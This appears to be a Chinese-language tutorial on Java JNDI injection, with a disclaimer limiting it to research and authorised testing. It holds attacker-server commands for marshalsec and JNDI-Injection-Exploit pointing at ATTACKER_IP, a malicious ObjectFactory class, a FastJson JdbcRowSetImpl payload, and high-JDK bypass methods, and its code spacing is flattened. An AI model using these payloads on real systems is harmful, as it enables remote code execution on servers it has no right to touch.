警告以下内容仅用于安全研究与授权测试未经许可的攻击行为属于违法行为。一、JNDI 注入核心原理1.1 什么是 JNDIJNDIJava Naming and Directory Interface是 Java 提供的一套统一 API用于在命名/目录服务如 RMI、LDAP、DNS 等中查找和访问资源。它的核心操作是InitialContext.lookup(String name)通过一个字符串名称来定位对象。1.2 什么是 JNDI 注入当应用程序对传入lookup()的name参数缺乏严格校验时攻击者可以构造恶意的 JNDI 引用如rmi://attacker.com/evil或ldap://attacker.com/evil诱使目标服务器从攻击者控制的服务器上加载并执行恶意类从而实现远程代码执行RCE。1.3 利用条件可控参数InitialContext.lookup()的参数可被用户输入控制。服务支持目标环境支持 RMI、LDAP 等 JNDI 服务实现。版本限制JDK 版本限制了攻击方式详见后文“高版本绕过”。二、JNDI 注入利用方式RMI LDAP2.1 核心机制Reference 与远程类加载JNDI 的Reference类是实现注入的关键它包含三个核心属性className要加载的类名。classFactory实例化工厂类名。classFactoryLocation远程类的下载地址如 HTTP 服务器。当目标服务器执行lookup()时会根据Reference的信息从指定地址下载并实例化恶意类。2.2 利用工具JNDI-Injection marshalsec2.2.1 JNDI-Injection-Exploit快速生成恶意 JNDI 地址直接执行系统命令。# 生成 RMI/LDAP 恶意地址执行 calc.exejava-jarJNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar-Ccalc-AATTACKER_IP输出示例[] LDAP URL: ldap://ATTACKER_IP:1389/xxxxxx [] RMI URL: rmi://ATTACKER_IP:1099/xxxxxx2.2.2 marshalsec更灵活的工具可启动恶意 RMI/LDAP 引用服务器引导目标下载自定义恶意类。编写恶意类// Evil.javapublicclassEvilimplementsjavax.naming.spi.ObjectFactory{publicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtable?,?environment)throwsException{Runtime.getRuntime().exec(calc);returnnull;}}编译javac Evil.java启动恶意 LDAP 服务器# 引导目标从 http://ATTACKER_IP/ 下载 Evil.classjava-cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://ATTACKER_IP/#Evil启动恶意 RMI 服务器java-cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServerhttp://ATTACKER_IP/#Evil触发注入// 目标代码中存在可控的 lookup 调用newInitialContext().lookup(ldap://ATTACKER_IP:1389/Evil);三、实战案例与 FastJson 反序列化结合3.1 漏洞原理FastJson 在反序列化时会根据 JSON 中的type字段实例化对应类。当type指向com.sun.rowset.JdbcRowSetImpl时其setDataSourceName()方法会调用InitialContext.lookup()从而触发 JNDI 注入。3.2 攻击步骤判断环境构造畸形 JSON 触发报错确认 FastJson 版本及是否存在反序列化漏洞。生成恶意地址使用 JNDI-Injection-Exploit 生成 RMI 地址。构造 Payload{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://ATTACKER_IP:1099/Evil,autoCommit:true}提交 Payload将 JSON 数据提交至目标触发反序列化与 JNDI 注入执行代码。四、JDK 高版本注入绕过4.1 JDK 版本限制JDK 版本限制项影响6u45, 7u21useCodebaseOnlytrueRMI 禁用远程类加载6u132, 7u122, 8u113trustURLCodebasefalseRMI/CORBA 禁用远程 Codebase6u211, 7u201, 8u191ldap.object.trustURLCodebasefalseLDAP 禁用远程 Codebase4.2 绕过思路在高版本 JDK 中直接远程加载类的方式被封堵绕过方法主要有利用本地 Classpath 中的可利用类寻找目标环境 Classpath 中已存在的、可被利用的类如org.apache.naming.factory.BeanFactory通过Reference构造调用链间接执行代码。利用 LDAP 序列化对象marshalsec 等工具支持在 LDAP 响应中直接返回序列化对象。如果目标服务器存在反序列化漏洞如 Commons Collections则可以通过 LDAP 注入触发反序列化 RCE无需远程加载类。# marshalsec 启动 LDAP 服务器直接返回序列化 payloadjava-cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPServer五、总结与延伸JNDI 注入作为 Java 生态中经典的 RCE 利用链其核心在于利用lookup()对恶意引用的解析。从早期的 RMI/LDAP 远程类加载到与 FastJson 等反序列化漏洞的结合再到针对高版本 JDK 的绕过技术其利用方式不断演进。深入理解其原理和绕过技巧是掌握 Java 安全攻防的关键。参考链接https://blog.csdn.net/dupei/article/details/120534024https://www.mi1k7ea.com/2020/09/07/深入理解不同JDK版本的JNDI注入及绕过/https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html